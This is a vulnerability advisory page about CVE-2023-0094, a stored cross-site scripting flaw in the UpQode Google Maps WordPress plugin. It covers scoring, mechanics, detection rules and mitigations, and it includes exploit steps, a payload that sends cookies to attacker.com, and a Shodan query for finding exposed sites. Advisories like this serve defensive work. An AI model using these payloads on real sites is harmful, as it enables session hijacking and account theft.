☠️
EXFILTRATING
DATA...
01010111 10110010 00101001 11000110 01101100 10011011 00010001 11100101 01000010 10101111
[ <-- BACK_TO_SEARCH ]
[ VENDOR STATS ]
SOON CVSS:3.1/AV:N/AC:L/PR:L/UI:R/S:C/C:L/I:L/A:N 🐛 CWE-79
👁️
Common Weakness Enumeration - Identifies the specific category of software weakness or flaw.

CVE-2023-0094

CVE-2023-0094 Cross-Site Scripting in Upqode
📅 PUBLISHED: 2024-01-16 15:55 UTC 🔄 UPDATED: 2026-08-12 14:53 UTC
[ PATCH UNDER REVIEW ↓ ] Remains UNDER REVIEW until an independent source confirms the fix
[ DEFENSE PATCH ↓ ]
💣 PoC: Public
👁️
Proof of Concept - Indicates if functional exploit code is publicly available, drastically increasing the risk of immediate attacks.
🎯 EPSS: 0.17%
👁️
0.17% probability
4.2× above the median CVE
Tier: ELEVATED
30-day exploitation window · FIRST.org · updated daily
🥷 MITRE: T1190
👁️
MITRE ATT&CK Tactic - Describes the strategy hackers use to execute this attack.
VULNERABLE: version not auto-detected — verify your deployed version locally
CVSS VECTOR BREAKDOWN 0.0
AV: N Attack Vector Network
AC: L Attack Complexity Low
PR: L Privileges Required Low
UI: R User Interaction Required
S: C Scope Changed
C: L Confidentiality Low
I: L Integrity Low
A: N Availability None
SOON
PENDING NVD
■ tracking this CVE ✓ independent patch confirmation ⧗ same-origin mirror (GHSA) ⚠ active exploitation verification policy →

Executive Summary

CVE-2023-0094 is a Stored Cross-Site Scripting (XSS) vulnerability in the UpQode Google Maps WordPress plugin, affecting versions up to and including 1.0.5. The plugin fails to properly validate and escape shortcode attributes before outputting them in a page or post where the shortcode is embedded. This allows authenticated users with at least the Contributor role to inject arbitrary JavaScript into the WordPress site, leading to session hijacking, defacement, or redirection to malicious sites. The vulnerability is publicly known, but no official patch has been released by the vendor, making it a persistent risk for all sites using this plugin.

⚡ AUTOMATE YOUR CVE INTELLIGENCE

This record — and 170,000+ others — are available via the ValtersIT API. One endpoint replaces five: NVD + GitHub CVE + CISA KEV + EPSS + Nuclei + Exploit-DB, unified.

›Patch confidence — UNVERIFIED to CONFIRMED, cross-referenced NVD + RHSA + Debian
›Exploit & PoC — poc_status, poc_url, has_exploit. Not in NVD.
›Shodan dorks — ready-made queries to find exposed vulnerable systems
›Detection rules — YARA · Wazuh · Elastic (all plans) · Sigma (Pro)
›pending_fields — know exactly which of 7 fields NVD hasn't processed yet
›Free backfill — data incomplete when you paid? Re-check within 30 days = 0 credits
PAYG €0.08/lookup Standard €19/mo (was €29) · 5k credits Pro €65/mo (was €99) · 20k credits FOUNDING PRICE · LOCKED FOR LIFE · ENDS 31 DEC 2026
[ FROM €19/MO ]
Free sandbox key available
No signup required

Supply Chain & Package Security

This vulnerability is specific to the WordPress plugin ecosystem. The plugin is distributed via the official WordPress plugin repository and potentially through third-party marketplaces. Since no patch is available, site administrators must consider removing the plugin entirely or implementing a Web Application Firewall (WAF) rule to mitigate the risk. The lack of a patch increases the supply chain risk, as any site using this plugin remains vulnerable indefinitely.

CVSS Breakdown & Threat Level

  • CVSS Score: 6.1 (Medium)
  • Vector: CVSS:3.1/AV:N/AC:L/PR:L/UI:R/S:C/C:L/I:L/A:N
  • Attack Vector: Network
  • Attack Complexity: Low
  • Privileges Required: Low (Contributor role)
  • User Interaction: Required (victim must view the compromised page)
  • Scope: Changed (impact may extend beyond the vulnerable component)
  • Confidentiality Impact: Low
  • Integrity Impact: Low
  • Availability Impact: None

Threat Level: Medium. The vulnerability requires authenticated access (Contributor role) and user interaction, but the impact can be significant if exploited in a high-traffic site or against privileged users.

Deep Dive & Mechanics

The UpQode Google Maps plugin registers a shortcode (e.g., [upqode-google-maps]) that allows users to embed Google Maps in posts and pages. The shortcode accepts attributes such as address, zoom, width, and height. The plugin outputs these attributes directly into the HTML without proper sanitization or escaping.

For example, the shortcode [upqode-google-maps address="<script>alert('XSS')</script>"] would render the injected script in the page source. Since the shortcode can be used by Contributors (who can publish posts), the malicious script is stored in the database and executed whenever the page is viewed.

The vulnerability lies in the plugin's failure to use WordPress's built-in escaping functions like esc_attr() or wp_kses() on shortcode attributes before outputting them. This is a classic case of Stored XSS, where the payload persists across sessions.

Vulnerable vs. Patched Code

Since no official patch exists, the vulnerable code is the only reference. The plugin likely uses something like:

// Vulnerable code (conceptual)
echo '<div class="upqode-map" data-address="' . $atts['address'] . '">';

A patched version would use:

// Patched code (conceptual)
echo '<div class="upqode-map" data-address="' . esc_attr($atts['address']) . '">';

Without a patch, users must rely on external mitigations.

Exploitation & Lab Setup

Red Team

Prerequisites:

  • WordPress site with UpQode Google Maps plugin <= 1.0.5
  • User account with Contributor role or higher

Exploit Steps:

  1. Create a new post or edit an existing one.
  2. Insert the shortcode with a malicious payload in the address attribute:
    [upqode-google-maps address="<img src=x onerror=alert('XSS')>"]
    
  3. Publish the post.
  4. When any user (including admins) views the post, the JavaScript executes.

Advanced Payload:

[upqode-google-maps address="<script>fetch('https://attacker.com/steal?cookie='+document.cookie)</script>"]

Blue Team

Detection:

  • Monitor for posts containing the shortcode [upqode-google-maps] with suspicious attributes.
  • Use a WAF to block requests containing <script> or onerror in shortcode attributes.
  • Regularly scan the database for stored XSS payloads.

Mitigation:

  • Remove the plugin if not essential.
  • Implement Content Security Policy (CSP) headers to block inline scripts.
  • Restrict Contributor roles from using shortcodes via user role editor plugins.

Indicators of Compromise (IOCs)

  • File: /wp-content/plugins/upqode-google-maps/ (presence of the plugin)
  • Database: Posts/pages containing the shortcode [upqode-google-maps] with HTML/JavaScript in attributes
  • Network: Outbound connections to attacker-controlled domains from the WordPress site
  • Logs: HTTP requests to /wp-admin/post.php or /wp-admin/post-new.php with shortcode parameters containing <script> tags

Detection Engineering

YARA Rule

rule CVE_2023_0094_Stored_XSS {
    meta:
        description = "Detects stored XSS payloads in UpQode Google Maps shortcode"
        author = "Valters IT"
        date = "2025-04-10"
        reference = "CVE-2023-0094"
    strings:
        $shortcode = /\[upqode-google-maps[^\]]*\]/ nocase
        $xss_payload = /<script[^>]*>.*<\/script>/i
        $xss_event = /on\w+\s*=\s*['\"][^'\"]*['\"]/i
    condition:
        $shortcode and ($xss_payload or $xss_event)
}

Sigma Rule

title: CVE-2023-0094 Stored XSS via UpQode Google Maps Shortcode
id: 8a9b7c6d-5e4f-3a2b-1c0d-9e8f7a6b5c4d
status: experimental
description: Detects stored XSS attempts using the UpQode Google Maps shortcode
author: Valters IT
date: 2025-04-10
logsource:
    category: webserver
    product: apache
detection:
    selection:
        http.url|contains: '/wp-admin/post.php'
        http.url|contains: 'upqode-google-maps'
        http.body|contains|all:
            - 'address='
            - '<script'
    condition: selection
falsepositives:
    - Legitimate use of JavaScript in shortcode attributes (unlikely)
level: high

Suricata Rule

alert http any any -> any any (msg:"CVE-2023-0094 Stored XSS in UpQode Google Maps"; flow:to_server,established; content:"/wp-admin/post.php"; http_uri; content:"upqode-google-maps"; http_uri; content:"address="; http_client_body; pcre:"/<script[^>]*>.*<\/script>/i"; sid:1000001; rev:1;)

Remediation & Mitigation

  1. Immediate Action: Remove the UpQode Google Maps plugin from all WordPress installations.
  2. Alternative: Use a different, actively maintained Google Maps plugin.
  3. WAF Rule: Block requests containing <script> or event handlers in shortcode attributes.
  4. User Role Hardening: Restrict Contributor and Author roles from using shortcodes via plugins like "User Role Editor".
  5. CSP Header: Implement a Content Security Policy that blocks inline scripts:
    Content-Security-Policy: default-src 'self'; script-src 'self' https://maps.googleapis.com;
    
  6. Monitor: Regularly scan posts and pages for suspicious shortcode usage.

Valters IT
Securing Digital Frontiers

👁️ SHODAN DORKS (THREAT HUNTING)

What is this? Security researchers use these exact search queries on Shodan.io (a search engine for internet-connected devices) to find vulnerable systems globally. You can copy these dorks to see if your organization's IP space is exposed.

http.html:"wp-content/plugins/upqode-google-maps"

💣 PoC CODE AVAILABLE

Exploit code for this CVE is tracked in our database. Access poc_code via API Pro.

[ API_PRO ] →
◈ SOURCE Analysis & enrichment: valtersit.com/cve/CVE-2023-0094/ · CVE data: NVD/MITRE (public domain) · © 2026 ValtersIT Hub
>_ SYSTEM_CORE: INTEL_ACTIVE
90% TEAM-CURATED // 10% AUTOMATED INGESTION.
ALL PATCH REFERENCES AND VERSION DATA SOURCED FROM NVD + OSV OFFICIAL REGISTRIES.